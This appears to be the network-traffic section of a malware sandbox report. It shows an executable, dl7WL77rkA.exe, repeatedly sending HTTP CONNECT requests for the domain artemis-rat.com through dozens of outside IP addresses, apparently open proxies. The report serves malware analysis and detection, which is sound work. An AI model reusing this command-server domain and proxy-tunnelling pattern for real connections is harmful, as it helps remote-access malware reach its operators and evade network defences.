Mar 11, 2024 03:30:41.674791098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.001502991 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.5	52673	173.249.29.243	9123	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.674926996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.995232105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.5	52641	114.132.202.78	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.675188065 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.205944061 CET	84	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:42 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.5	52138	140.227.228.202	10101	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.675380945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.952500105 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.5	52683	121.159.146.251	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.675856113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.5	52689	3.127.62.252	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.679362059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.985160112 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 03:30:42.030159950 CET	177	OUT	Data Raw: 16 03 03 00 ac 01 00 00 a8 03 03 65 ee 6c d0 f1 35 42 27 db 54 64 bd 94 2b 91 c4 78 7b 44 d9 b3 21 41 76 72 d8 a6 17 8f d5 31 e6 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: el5B'Td+x{D!Avr1*,+0/$#('=<5/Uartemis-rat.com#
Mar 11, 2024 03:30:42.341869116 CET	1079	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 7f 62 91 65 62 01 36 02 36 b5 dc 59 bb 8b 33 43 07 32 26 1b fe 76 2c aa 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 Data Ascii: =9beb66Y3C2&v,DOWNGRD0000H010Uartemis-rat.com0240311014446Z260311014446Z010Uartemis-rat.com0"0H0wwL%ci7>
Mar 11, 2024 03:30:42.410028934 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 0d 32 ff 51 79 ee 12 8c 47 50 64 c7 c6 99 82 a9 95 c3 6e 45 a6 63 a0 34 5b 9a 89 ac be 44 bf 56 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 e0 b0 84 cd 24 6d d8 3d d6 a5 41 07 44 d8 7a cb 36 a6 a7 b6 40 Data Ascii: %! 2QyGPdnEc4[DV($m=ADz6@50
Mar 11, 2024 03:30:42.713902950 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 d1 82 9e 64 47 29 8e 98 02 b5 5e eb 53 14 a8 aa 4e 63 9e 8c 6d 4b 30 40 b5 7a 4b eb 30 7d 40 34 5f 75 33 cb 89 b7 ce bb Data Ascii: (dG)^SNcmK0@zK0}@4_u3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.5	52624	143.64.8.21	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.686583996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.5	50459	103.76.148.161	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.689030886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.809940100 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.5	52697	207.180.234.220	42823	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.689294100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405060053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355494022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.5	52586	45.251.231.113	5678	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.694314003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.5	52655	195.87.217.75	3389	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.696285963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.5	50517	212.110.188.220	34409	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.700536966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.701920033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.702198982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.702241898 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.5	52715	188.119.99.210	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.711199999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.405057907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.355524063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.239506960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:49.014760971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:52.905059099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:56.679826021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.5	52663	186.211.6.137	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.712282896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.5	52186	82.223.121.72	64871	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.717142105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.701953888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.702203989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.702251911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.5	52680	154.239.9.82	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.721946955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.498673916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.702035904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.889703989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:50.092876911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:54.389547110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.592955112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.5	52719	58.234.116.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.761147022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.5	50638	23.161.96.132	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.761147022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.811254978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905148029 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905704975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.5	52738	146.19.106.217	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.761535883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.5	52693	176.213.141.107	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.765456915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.702142000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.905159950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:46.886028051 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.5	52698	61.178.152.31	7302	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.766347885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:42.115189075 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.5	52722	176.123.56.58	3629	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.772243023 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.5	50634	8.242.85.6	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.788875103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.811253071 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905173063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.5	52272	162.241.46.40	62244	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.792577028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.905029058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.905709982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.905189991 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.5	50569	181.114.224.141	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.794290066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.112770081 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.5	52737	146.56.154.83	21000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.802203894 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.5	52736	58.234.116.197	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.809463024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.5	52597	203.95.196.50	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.810661077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.5	52310	107.180.89.185	49062	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.810667038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.905021906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
